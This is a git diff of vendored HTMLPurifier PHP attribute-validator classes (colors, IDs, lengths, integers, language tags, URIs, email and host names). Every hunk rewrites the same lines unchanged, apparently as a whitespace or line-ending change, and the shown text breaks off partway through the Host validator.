--- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Color.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Color.php @@ -1,51 +1,51 @@ -get('Core.ColorKeywords'); - } - - $string = trim($string); - - if (empty($string)) { - return false; - } - $lower = strtolower($string); - if (isset($colors[$lower])) { - return $colors[$lower]; - } - if ($string[0] === '#') { - $hex = substr($string, 1); - } else { - $hex = $string; - } - - $length = strlen($hex); - if ($length !== 3 && $length !== 6) { - return false; - } - if (!ctype_xdigit($hex)) { - return false; - } - if ($length === 3) { - $hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2]; - } - return "#$hex"; - } -} - -// vim: et sw=4 sts=4 +get('Core.ColorKeywords'); + } + + $string = trim($string); + + if (empty($string)) { + return false; + } + $lower = strtolower($string); + if (isset($colors[$lower])) { + return $colors[$lower]; + } + if ($string[0] === '#') { + $hex = substr($string, 1); + } else { + $hex = $string; + } + + $length = strlen($hex); + if ($length !== 3 && $length !== 6) { + return false; + } + if (!ctype_xdigit($hex)) { + return false; + } + if ($length === 3) { + $hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2]; + } + return "#$hex"; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php index 7446b6da99..d79ba12b3f 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php @@ -1,38 +1,38 @@ -valid_values === false) { - $this->valid_values = $config->get('Attr.AllowedFrameTargets'); - } - return parent::validate($string, $config, $context); - } -} - -// vim: et sw=4 sts=4 +valid_values === false) { + $this->valid_values = $config->get('Attr.AllowedFrameTargets'); + } + return parent::validate($string, $config, $context); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/ID.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/ID.php index 7e464ba546..4ba45610fe 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/ID.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/ID.php @@ -1,113 +1,113 @@ -selector = $selector; - } - - /** - * @param string $id - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($id, $config, $context) - { - if (!$this->selector && !$config->get('Attr.EnableID')) { - return false; - } - - $id = trim($id); // trim it first - - if ($id === '') { - return false; - } - - $prefix = $config->get('Attr.IDPrefix'); - if ($prefix !== '') { - $prefix .= $config->get('Attr.IDPrefixLocal'); - // prevent re-appending the prefix - if (strpos($id, $prefix) !== 0) { - $id = $prefix . $id; - } - } elseif ($config->get('Attr.IDPrefixLocal') !== '') { - trigger_error( - '%Attr.IDPrefixLocal cannot be used unless ' . - '%Attr.IDPrefix is set', - E_USER_WARNING - ); - } - - if (!$this->selector) { - $id_accumulator =& $context->get('IDAccumulator'); - if (isset($id_accumulator->ids[$id])) { - return false; - } - } - - // we purposely avoid using regex, hopefully this is faster - - if ($config->get('Attr.ID.HTML5') === true) { - if (preg_match('/[\t\n\x0b\x0c ]/', $id)) { - return false; - } - } else { - if (ctype_alpha($id)) { - // OK - } else { - if (!ctype_alpha(@$id[0])) { - return false; - } - // primitive style of regexps, I suppose - $trim = trim( - $id, - 'A..Za..z0..9:-._' - ); - if ($trim !== '') { - return false; - } - } - } - - $regexp = $config->get('Attr.IDBlacklistRegexp'); - if ($regexp && preg_match($regexp, $id)) { - return false; - } - - if (!$this->selector) { - $id_accumulator->add($id); - } - - // if no change was made to the ID, return the result - // else, return the new id if stripping whitespace made it - // valid, or return false. - return $id; - } -} - -// vim: et sw=4 sts=4 +selector = $selector; + } + + /** + * @param string $id + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($id, $config, $context) + { + if (!$this->selector && !$config->get('Attr.EnableID')) { + return false; + } + + $id = trim($id); // trim it first + + if ($id === '') { + return false; + } + + $prefix = $config->get('Attr.IDPrefix'); + if ($prefix !== '') { + $prefix .= $config->get('Attr.IDPrefixLocal'); + // prevent re-appending the prefix + if (strpos($id, $prefix) !== 0) { + $id = $prefix . $id; + } + } elseif ($config->get('Attr.IDPrefixLocal') !== '') { + trigger_error( + '%Attr.IDPrefixLocal cannot be used unless ' . + '%Attr.IDPrefix is set', + E_USER_WARNING + ); + } + + if (!$this->selector) { + $id_accumulator =& $context->get('IDAccumulator'); + if (isset($id_accumulator->ids[$id])) { + return false; + } + } + + // we purposely avoid using regex, hopefully this is faster + + if ($config->get('Attr.ID.HTML5') === true) { + if (preg_match('/[\t\n\x0b\x0c ]/', $id)) { + return false; + } + } else { + if (ctype_alpha($id)) { + // OK + } else { + if (!ctype_alpha(@$id[0])) { + return false; + } + // primitive style of regexps, I suppose + $trim = trim( + $id, + 'A..Za..z0..9:-._' + ); + if ($trim !== '') { + return false; + } + } + } + + $regexp = $config->get('Attr.IDBlacklistRegexp'); + if ($regexp && preg_match($regexp, $id)) { + return false; + } + + if (!$this->selector) { + $id_accumulator->add($id); + } + + // if no change was made to the ID, return the result + // else, return the new id if stripping whitespace made it + // valid, or return false. + return $id; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Length.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Length.php index c8f5188656..1c4006fbbd 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Length.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Length.php @@ -1,56 +1,56 @@ - 100) { - return '100%'; - } - return ((string)$points) . '%'; - } -} - -// vim: et sw=4 sts=4 + 100) { + return '100%'; + } + return ((string)$points) . '%'; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php index 3f56934ffc..63fa04c15c 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php @@ -1,72 +1,72 @@ - 'AllowedRel', - 'rev' => 'AllowedRev' - ); - if (!isset($configLookup[$name])) { - trigger_error( - 'Unrecognized attribute name for link ' . - 'relationship.', - E_USER_ERROR - ); - return; - } - $this->name = $configLookup[$name]; - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - $allowed = $config->get('Attr.' . $this->name); - if (empty($allowed)) { - return false; - } - - $string = $this->parseCDATA($string); - $parts = explode(' ', $string); - - // lookup to prevent duplicates - $ret_lookup = array(); - foreach ($parts as $part) { - $part = strtolower(trim($part)); - if (!isset($allowed[$part])) { - continue; - } - $ret_lookup[$part] = true; - } - - if (empty($ret_lookup)) { - return false; - } - $string = implode(' ', array_keys($ret_lookup)); - return $string; - } -} - -// vim: et sw=4 sts=4 + 'AllowedRel', + 'rev' => 'AllowedRev' + ); + if (!isset($configLookup[$name])) { + trigger_error( + 'Unrecognized attribute name for link ' . + 'relationship.', + E_USER_ERROR + ); + return; + } + $this->name = $configLookup[$name]; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $allowed = $config->get('Attr.' . $this->name); + if (empty($allowed)) { + return false; + } + + $string = $this->parseCDATA($string); + $parts = explode(' ', $string); + + // lookup to prevent duplicates + $ret_lookup = array(); + foreach ($parts as $part) { + $part = strtolower(trim($part)); + if (!isset($allowed[$part])) { + continue; + } + $ret_lookup[$part] = true; + } + + if (empty($ret_lookup)) { + return false; + } + $string = implode(' ', array_keys($ret_lookup)); + return $string; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/MultiLength.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/MultiLength.php index eb713e15b9..bbb20f2f80 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/MultiLength.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/MultiLength.php @@ -1,60 +1,60 @@ -split($string, $config, $context); - $tokens = $this->filter($tokens, $config, $context); - if (empty($tokens)) { - return false; - } - return implode(' ', $tokens); - } - - /** - * Splits a space separated list of tokens into its constituent parts. - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array - */ - protected function split($string, $config, $context) - { - // OPTIMIZABLE! - // do the preg_match, capture all subpatterns for reformulation - - // we don't support U+00A1 and up codepoints or - // escaping because I don't know how to do that with regexps - // and plus it would complicate optimization efforts (you never - // see that anyway). - $pattern = '/(?:(?<=\s)|\A)' . // look behind for space or string start - '((?:--|-?[A-Za-z_])[A-Za-z_\-0-9]*)' . - '(?:(?=\s)|\z)/'; // look ahead for space or string end - preg_match_all($pattern, $string, $matches); - return $matches[1]; - } - - /** - * Template method for removing certain tokens based on arbitrary criteria. - * @note If we wanted to be really functional, we'd do an array_filter - * with a callback. But... we're not. - * @param array $tokens - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array - */ - protected function filter($tokens, $config, $context) - { - return $tokens; - } -} - -// vim: et sw=4 sts=4 +split($string, $config, $context); + $tokens = $this->filter($tokens, $config, $context); + if (empty($tokens)) { + return false; + } + return implode(' ', $tokens); + } + + /** + * Splits a space separated list of tokens into its constituent parts. + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + protected function split($string, $config, $context) + { + // OPTIMIZABLE! + // do the preg_match, capture all subpatterns for reformulation + + // we don't support U+00A1 and up codepoints or + // escaping because I don't know how to do that with regexps + // and plus it would complicate optimization efforts (you never + // see that anyway). + $pattern = '/(?:(?<=\s)|\A)' . // look behind for space or string start + '((?:--|-?[A-Za-z_])[A-Za-z_\-0-9]*)' . + '(?:(?=\s)|\z)/'; // look ahead for space or string end + preg_match_all($pattern, $string, $matches); + return $matches[1]; + } + + /** + * Template method for removing certain tokens based on arbitrary criteria. + * @note If we wanted to be really functional, we'd do an array_filter + * with a callback. But... we're not. + * @param array $tokens + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + protected function filter($tokens, $config, $context) + { + return $tokens; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Pixels.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Pixels.php index 1a68f23855..a1d019e095 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Pixels.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Pixels.php @@ -1,76 +1,76 @@ -max = $max; - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - $string = trim($string); - if ($string === '0') { - return $string; - } - if ($string === '') { - return false; - } - $length = strlen($string); - if (substr($string, $length - 2) == 'px') { - $string = substr($string, 0, $length - 2); - } - if (!is_numeric($string)) { - return false; - } - $int = (int)$string; - - if ($int < 0) { - return '0'; - } - - // upper-bound value, extremely high values can - // crash operating systems, see - // WARNING, above link WILL crash you if you're using Windows - - if ($this->max !== null && $int > $this->max) { - return (string)$this->max; - } - return (string)$int; - } - - /** - * @param string $string - * @return HTMLPurifier_AttrDef - */ - public function make($string) - { - if ($string === '') { - $max = null; - } else { - $max = (int)$string; - } - $class = get_class($this); - return new $class($max); - } -} - -// vim: et sw=4 sts=4 +max = $max; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = trim($string); + if ($string === '0') { + return $string; + } + if ($string === '') { + return false; + } + $length = strlen($string); + if (substr($string, $length - 2) == 'px') { + $string = substr($string, 0, $length - 2); + } + if (!is_numeric($string)) { + return false; + } + $int = (int)$string; + + if ($int < 0) { + return '0'; + } + + // upper-bound value, extremely high values can + // crash operating systems, see + // WARNING, above link WILL crash you if you're using Windows + + if ($this->max !== null && $int > $this->max) { + return (string)$this->max; + } + return (string)$int; + } + + /** + * @param string $string + * @return HTMLPurifier_AttrDef + */ + public function make($string) + { + if ($string === '') { + $max = null; + } else { + $max = (int)$string; + } + $class = get_class($this); + return new $class($max); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Integer.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Integer.php index c98376d750..400e707d2f 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Integer.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Integer.php @@ -1,91 +1,91 @@ -negative = $negative; - $this->zero = $zero; - $this->positive = $positive; - } - - /** - * @param string $integer - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($integer, $config, $context) - { - $integer = $this->parseCDATA($integer); - if ($integer === '') { - return false; - } - - // we could possibly simply typecast it to integer, but there are - // certain fringe cases that must not return an integer. - - // clip leading sign - if ($this->negative && $integer[0] === '-') { - $digits = substr($integer, 1); - if ($digits === '0') { - $integer = '0'; - } // rm minus sign for zero - } elseif ($this->positive && $integer[0] === '+') { - $digits = $integer = substr($integer, 1); // rm unnecessary plus - } else { - $digits = $integer; - } - - // test if it's numeric - if (!ctype_digit($digits)) { - return false; - } - - // perform scope tests - if (!$this->zero && $integer == 0) { - return false; - } - if (!$this->positive && $integer > 0) { - return false; - } - if (!$this->negative && $integer < 0) { - return false; - } - - return $integer; - } -} - -// vim: et sw=4 sts=4 +negative = $negative; + $this->zero = $zero; + $this->positive = $positive; + } + + /** + * @param string $integer + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($integer, $config, $context) + { + $integer = $this->parseCDATA($integer); + if ($integer === '') { + return false; + } + + // we could possibly simply typecast it to integer, but there are + // certain fringe cases that must not return an integer. + + // clip leading sign + if ($this->negative && $integer[0] === '-') { + $digits = substr($integer, 1); + if ($digits === '0') { + $integer = '0'; + } // rm minus sign for zero + } elseif ($this->positive && $integer[0] === '+') { + $digits = $integer = substr($integer, 1); // rm unnecessary plus + } else { + $digits = $integer; + } + + // test if it's numeric + if (!ctype_digit($digits)) { + return false; + } + + // perform scope tests + if (!$this->zero && $integer == 0) { + return false; + } + if (!$this->positive && $integer > 0) { + return false; + } + if (!$this->negative && $integer < 0) { + return false; + } + + return $integer; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Lang.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Lang.php index 6ad0f799df..2a55cea642 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Lang.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Lang.php @@ -1,86 +1,86 @@ - 8 || !ctype_alnum($subtags[1])) { - return $new_string; - } - if (!ctype_lower($subtags[1])) { - $subtags[1] = strtolower($subtags[1]); - } - - $new_string .= '-' . $subtags[1]; - if ($num_subtags == 2) { - return $new_string; - } - - // process all other subtags, index 2 and up - for ($i = 2; $i < $num_subtags; $i++) { - $length = strlen($subtags[$i]); - if ($length == 0 || $length > 8 || !ctype_alnum($subtags[$i])) { - return $new_string; - } - if (!ctype_lower($subtags[$i])) { - $subtags[$i] = strtolower($subtags[$i]); - } - $new_string .= '-' . $subtags[$i]; - } - return $new_string; - } -} - -// vim: et sw=4 sts=4 + 8 || !ctype_alnum($subtags[1])) { + return $new_string; + } + if (!ctype_lower($subtags[1])) { + $subtags[1] = strtolower($subtags[1]); + } + + $new_string .= '-' . $subtags[1]; + if ($num_subtags == 2) { + return $new_string; + } + + // process all other subtags, index 2 and up + for ($i = 2; $i < $num_subtags; $i++) { + $length = strlen($subtags[$i]); + if ($length == 0 || $length > 8 || !ctype_alnum($subtags[$i])) { + return $new_string; + } + if (!ctype_lower($subtags[$i])) { + $subtags[$i] = strtolower($subtags[$i]); + } + $new_string .= '-' . $subtags[$i]; + } + return $new_string; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Switch.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Switch.php index 078291f584..c7eb3199a4 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Switch.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Switch.php @@ -1,53 +1,53 @@ -tag = $tag; - $this->withTag = $with_tag; - $this->withoutTag = $without_tag; - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - $token = $context->get('CurrentToken', true); - if (!$token || $token->name !== $this->tag) { - return $this->withoutTag->validate($string, $config, $context); - } else { - return $this->withTag->validate($string, $config, $context); - } - } -} - -// vim: et sw=4 sts=4 +tag = $tag; + $this->withTag = $with_tag; + $this->withoutTag = $without_tag; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $token = $context->get('CurrentToken', true); + if (!$token || $token->name !== $this->tag) { + return $this->withoutTag->validate($string, $config, $context); + } else { + return $this->withTag->validate($string, $config, $context); + } + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Text.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Text.php index 9f23bac4a2..4553a4ea9b 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Text.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Text.php @@ -1,21 +1,21 @@ -parseCDATA($string); - } -} - -// vim: et sw=4 sts=4 +parseCDATA($string); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI.php index a1097cd918..c1cd89772c 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI.php @@ -1,111 +1,111 @@ -parser = new HTMLPurifier_URIParser(); - $this->embedsResource = (bool)$embeds_resource; - } - - /** - * @param string $string - * @return HTMLPurifier_AttrDef_URI - */ - public function make($string) - { - $embeds = ($string === 'embedded'); - return new HTMLPurifier_AttrDef_URI($embeds); - } - - /** - * @param string $uri - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($uri, $config, $context) - { - if ($config->get('URI.Disable')) { - return false; - } - - $uri = $this->parseCDATA($uri); - - // parse the URI - $uri = $this->parser->parse($uri); - if ($uri === false) { - return false; - } - - // add embedded flag to context for validators - $context->register('EmbeddedURI', $this->embedsResource); - - $ok = false; - do { - - // generic validation - $result = $uri->validate($config, $context); - if (!$result) { - break; - } - - // chained filtering - $uri_def = $config->getDefinition('URI'); - $result = $uri_def->filter($uri, $config, $context); - if (!$result) { - break; - } - - // scheme-specific validation - $scheme_obj = $uri->getSchemeObj($config, $context); - if (!$scheme_obj) { - break; - } - if ($this->embedsResource && !$scheme_obj->browsable) { - break; - } - $result = $scheme_obj->validate($uri, $config, $context); - if (!$result) { - break; - } - - // Post chained filtering - $result = $uri_def->postFilter($uri, $config, $context); - if (!$result) { - break; - } - - // survived gauntlet - $ok = true; - - } while (false); - - $context->destroy('EmbeddedURI'); - if (!$ok) { - return false; - } - // back to string - return $uri->toString(); - } -} - -// vim: et sw=4 sts=4 +parser = new HTMLPurifier_URIParser(); + $this->embedsResource = (bool)$embeds_resource; + } + + /** + * @param string $string + * @return HTMLPurifier_AttrDef_URI + */ + public function make($string) + { + $embeds = ($string === 'embedded'); + return new HTMLPurifier_AttrDef_URI($embeds); + } + + /** + * @param string $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($uri, $config, $context) + { + if ($config->get('URI.Disable')) { + return false; + } + + $uri = $this->parseCDATA($uri); + + // parse the URI + $uri = $this->parser->parse($uri); + if ($uri === false) { + return false; + } + + // add embedded flag to context for validators + $context->register('EmbeddedURI', $this->embedsResource); + + $ok = false; + do { + + // generic validation + $result = $uri->validate($config, $context); + if (!$result) { + break; + } + + // chained filtering + $uri_def = $config->getDefinition('URI'); + $result = $uri_def->filter($uri, $config, $context); + if (!$result) { + break; + } + + // scheme-specific validation + $scheme_obj = $uri->getSchemeObj($config, $context); + if (!$scheme_obj) { + break; + } + if ($this->embedsResource && !$scheme_obj->browsable) { + break; + } + $result = $scheme_obj->validate($uri, $config, $context); + if (!$result) { + break; + } + + // Post chained filtering + $result = $uri_def->postFilter($uri, $config, $context); + if (!$result) { + break; + } + + // survived gauntlet + $ok = true; + + } while (false); + + $context->destroy('EmbeddedURI'); + if (!$ok) { + return false; + } + // back to string + return $uri->toString(); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email.php index 846d388148..daf32b7643 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email.php @@ -1,20 +1,20 @@ -" - // that needs more percent encoding to be done - if ($string == '') { - return false; - } - $string = trim($string); - $result = preg_match('/^[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i', $string); - return $result ? $string : false; - } -} - -// vim: et sw=4 sts=4 +" + // that needs more percent encoding to be done + if ($string == '') { + return false; + } + $string = trim($string); + $result = preg_match('/^[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i', $string); + return $result ? $string : false; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Host.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Host.php index a61111e0cf..1beeaa5d22 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Host.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Host.php @@ -1,142 +1,142 @@ -ipv4 = new HTMLPurifier_AttrDef_URI_IPv4(); - $this->ipv6 = new HTMLPurifier_AttrDef_URI_IPv6(); - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - $length = strlen($string); - // empty hostname is OK; it's usually semantically equivalent: - // the default host as defined by a URI scheme is used: - // - // If the URI scheme defines a default for host, then that - // default applies when the host subcomponent is undefined - // or when the registered name is empty (zero length). - if ($string === '') { - return ''; - } - if ($length > 1 && $string[0] === '[' && $string[$length - 1] === ']') { - //IPv6 - $ip = substr($string, 1, $length - 2); - $valid = $this->ipv6->validate($ip, $config, $context); - if ($valid === false) { - return false; - } - return '[' . $valid . ']'; - } - - // need to do checks on unusual encodings too - $ipv4 = $this->ipv4->validate($string, $config, $context); - if ($ipv4 !== false) { - return $ipv4; - } - - // A regular domain name. - - // This doesn't match I18N domain names, but we don't have proper IRI support, - // so force users to insert Punycode. - - // There is not a good sense in which underscores should be - // allowed, since it's technically not! (And if you go as - // far to allow everything as specified by the DNS spec... - // well, that's literally everything, modulo some space limits - // for the components and the overall name (which, by the way, - // we are NOT checking!). So we (arbitrarily) decide this: - // let's allow underscores wherever we would have allowed - // hyphens, if they are enabled. This is a pretty good match - // for browser behavior, for example, a large number of browsers - // cannot handle foo_.example.com, but foo_bar.example.com is - // fairly well supported. - $underscore = $config->get('Core.AllowHostnameUnderscore') ? '_' : ''; - - // Based off of RFC 1738, but amended so that - // as per RFC 3696, the top label need only not be all numeric. - // The productions describing this are: - $a = '[a-z]'; // alpha - $an = '[a-z0-9]'; // alphanum - $and = "[a-z0-9-$underscore]"; // alphanum | "-" - // domainlabel = alphanum | alphanum *( alphanum | "-" ) alphanum - $domainlabel = "$an(?:$and*$an)?"; - // AMENDED as per RFC 3696 - // toplabel = alphanum | alphanum *( alphanum | "-" ) alphanum - // side condition: not all numeric - $toplabel = "$an(?:$and*$an)?"; - // hostname = *( domainlabel "." ) toplabel [ "." ] - if (preg_match("/^(?:$domainlabel\.)*($toplabel)\.?$/i", $string, $matches)) { - if (!ctype_digit($matches[1])) { - return $string; - } - } - - // PHP 5.3 and later support this functionality natively - if (function_exists('idn_to_ascii')) { - if (defined('IDNA_NONTRANSITIONAL_TO_ASCII') && defined('INTL_IDNA_VARIANT_UTS46')) { - $string = idn_to_ascii($string, IDNA_NONTRANSITIONAL_TO_ASCII, INTL_IDNA_VARIANT_UTS46); - } else { - $string = idn_to_ascii($string); - } - - // If we have Net_IDNA2 support, we can support IRIs by - // punycoding them. (This is the most portable thing to do, - // since otherwise we have to assume browsers support - } elseif ($config->get('Core.EnableIDNA')) { - $idna = new Net_IDNA2(array('encoding' => 'utf8', 'overlong' => false, 'strict' => true)); - // we need to encode each period separately - $parts = explode('.', $string); - try { - $new_parts = array(); - foreach ($parts as $part) { - $encodable = false; - for ($i = 0, $c = strlen($part); $i < $c; $i++) { - if (ord($part[$i]) > 0x7a) { - $encodable = true; - break; - } - } - if (!$encodable) { - $new_parts[] = $part; - } else { - $new_parts[] = $idna->encode($part); - } - } - $string = implode('.', $new_parts); - } catch (Exception $e) { - // XXX error reporting - } - } - // Try again - if (preg_match("/^($domainlabel\.)*$toplabel\.?$/i", $string)) { - return $string; - } - return false; - } -} - -// vim: et sw=4 sts=4 +ipv4 = new HTMLPurifier_AttrDef_URI_IPv4(); + $this->ipv6 = new HTMLPurifier_AttrDef_URI_IPv6(); + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $length = strlen($string); + // empty hostname is OK; it's usually semantically equivalent: + // the default host as defined by a URI scheme is used: + // + // If the URI scheme defines a default for host, then that + // default applies when the host subcomponent is undefined + // or when the registered name is empty (zero length). + if ($string === '') { + return ''; + } + if ($length > 1 && $string[0] === '[' && $string[$length - 1] === ']') { + //IPv6 + $ip = substr($string, 1, $length - 2); + $valid = $this->ipv6->validate($ip, $config, $context); + if ($valid === false) { + return false; + } + return '[' . $valid . ']'; + } + + // need to do checks on unusual encodings too + $ipv4 = $this->ipv4->validate($string, $config, $context); + if ($ipv4 !== false) { + return $ipv4; + } + + // A regular domain name. + + // This doesn't match I18N domain names, but we don't have proper IRI support, + // so force users to insert Punycode. + + // There is not a good sense in which underscores should be + // allowed, since it's technically not! (And if you go as + // far to allow everything as specified by the DNS spec... + // well, that's literally everything, modulo some space limits + // for the components and the overall name (which, by the way, + // we are NOT checking!). So we (arbitrarily) decide this: + // let's allow underscores wherever we would have allowed + // hyphens, if they are enabled. This is a pretty good match + // for browser behavior, for example, a large number of browsers + // cannot handle foo_.example.com, but foo_bar.example.com is + // fairly well supported. + $underscore = $config->get('Core.AllowHostnameUnderscore') ? '_' : ''; + + // Based off of RFC 1738, but amended so that + // as per RFC 3696, the top label need only not be all numeric. + // The productions describing this are: + $a = '[a-z]'; // alpha + $an = '[a-z0-9]'; // alphanum + $and = "[a-z0-9-$underscore]"; // alphanum | "-" + // domainlabel = alphanum | alphanum *( alphanum | "-" ) alphanum + $domainlabel = "$an(?:$and*$an)?"; + // AMENDED as per RFC 3696 + // toplabel = alphanum | alphanum *( alphanum | "-" ) alphanum + // side condition: not all numeric + $toplabel = "$an(?:$and*$an)?"; + // hostname = *( domainlabel "." ) toplabel [ "." ] + if (preg_match("/^(?:$domainlabel\.)*($toplabel)\.?$/i", $string, $matches)) { + if (!ctype_digit($matches[1])) { + return $string; + } + } + + // PHP 5.3 and later support this functionality natively + if (function_exists('idn_to_ascii')) { + if (defined('IDNA_NONTRANSITIONAL_TO_ASCII') && defined('INTL_IDNA_VARIANT_UTS46')) { + $string = idn_to_ascii($string, IDNA_NONTRANSITIONAL_TO_ASCII, INTL_IDNA_VARIANT_UTS46); + } else { + $string = idn_to_ascii($string); + } + + // If we have Net_IDNA2 support, we can support IRIs by + // punycoding them. (This is the most portable thing to do, + // since otherwise we have to assume browsers support + } elseif ($config->get('Core.EnableIDNA')) { + $idna = new Net_IDNA2(array('encoding' => 'utf8', 'overlong' => false, 'strict' => true)); + // we need to encode each period separately + $parts = explode('.', $string); + try { + $new_parts = array(); + foreach ($parts as $part) { + $encodable = false; + for ($i = 0, $c = strlen($part); $i < $c; $i++) { + if (ord($part[$i]) > 0x7a) { + $encodable = true; + break; + } + } + if 